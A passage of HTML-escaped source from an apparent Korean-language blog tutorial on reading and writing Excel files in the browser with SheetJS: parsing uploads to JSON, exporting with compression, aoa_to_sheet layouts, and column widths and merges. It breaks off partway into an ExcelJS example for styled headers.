punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;pre&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;file-input&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;change&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handleFile&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;handleFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; file &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; event&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;files&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;file&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; reader &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FileReader&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  reader&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// ArrayBuffer → Uint8Array&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; workbook &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;array&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sheetName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; workbook&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SheetNames&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sheet &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; workbook&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sheets&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sheetName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// 헤더를 키로 쓰는 객체 배열&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; rows &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sheet_to_json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sheet&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;defval&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;output&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;textContent &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      rows&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  reader&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;readAsArrayBuffer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;file&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;포인트&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;{ defval: &quot;&quot; }&lt;/code&gt; 를 주면 빈 셀이 &lt;code class=&quot;language-text&quot;&gt;undefined&lt;/code&gt;가 아니라 빈 문자열로 들어와 서버 전송 시 편합니다.&lt;/li&gt;
&lt;li&gt;헤더를 직접 지정하고 싶다면 &lt;code class=&quot;language-text&quot;&gt;{ header: [&quot;id&quot;, &quot;name&quot;, &quot;email&quot;] }&lt;/code&gt; 처럼 넘길 수 있습니다.&lt;/li&gt;
&lt;li&gt;CSV는 한글 인코딩이 꼬이는 경우가 많은데, SheetJS는 BOM과 EUC-KR을 자동 감지하므로 대부분 그대로 읽힙니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;쓰기 — JSON을 엑셀로 내려받기&lt;/h2&gt;
&lt;p&gt;반대 방향, 관리자 화면에서 조회한 데이터를 그대로 엑셀로 내려주는 패턴입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;exportToExcel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rows&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fileName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;export.xlsx&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 1) 워크북 생성&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; workbook &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;book_new&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 2) JSON → 시트&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sheet &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json_to_sheet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rows&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 3) 시트 등록&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;book_append_sheet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;workbook&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sheet&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Sheet1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 4) 파일 다운로드 트리거&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;writeFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;workbook&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fileName&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;compression&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 사용 예&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;exportToExcel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;홍길동&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hong@example.com&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;김자바&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;java@example.com&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;compression: true&lt;/code&gt;를 주면 XLSX 내부 zip을 압축해 &lt;strong&gt;파일 크기가 30~60% 정도 줄어듭니다&lt;/strong&gt;. 수천 행 이상 내려줄 땐 거의 필수입니다.&lt;/p&gt;
&lt;h3&gt;aoa_to_sheet — 표 레이아웃을 직접 구성&lt;/h3&gt;
&lt;p&gt;JSON이 아니라 &quot;N행 M열&quot;의 2차원 배열로 넘기면 헤더 병합·빈 행 삽입 같은 레이아웃을 자유롭게 짤 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; aoa &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ID&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;이름&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;이메일&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;홍길동&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hong@example.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;김자바&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;java@example.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sheet &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;aoa_to_sheet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;aoa&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;컬럼 폭·헤더 스타일 팁&lt;/h2&gt;
&lt;p&gt;CE 버전은 &lt;strong&gt;셀 서식(폰트, 색, 굵기)은 지원하지 않습니다&lt;/strong&gt;. 하지만 &lt;strong&gt;컬럼 폭과 병합 정도는 CE에서도 가능&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 컬럼 폭(글자 수 기준)&lt;/span&gt;
sheet&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;!cols&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;wch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;wch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;wch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;28&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 헤더 행 고정(첫 행)&lt;/span&gt;
sheet&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;!freeze&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;xSplit&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;ySplit&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 셀 병합: A1:C1&lt;/span&gt;
sheet&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;!merges&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;헤더를 &lt;strong&gt;굵게/배경색&lt;/strong&gt;으로 강조하고 싶다면 여기서부터는 ExcelJS 영역입니다.&lt;/p&gt;
&lt;h2&gt;ExcelJS 로 헤더 스타일까지&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; ExcelJS &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;exceljs&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;exportStyled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;rows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; wb &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ExcelJS&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Workbook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ws &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; wb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addWorksheet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;회원&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  ws&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;columns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ID&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;이름&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
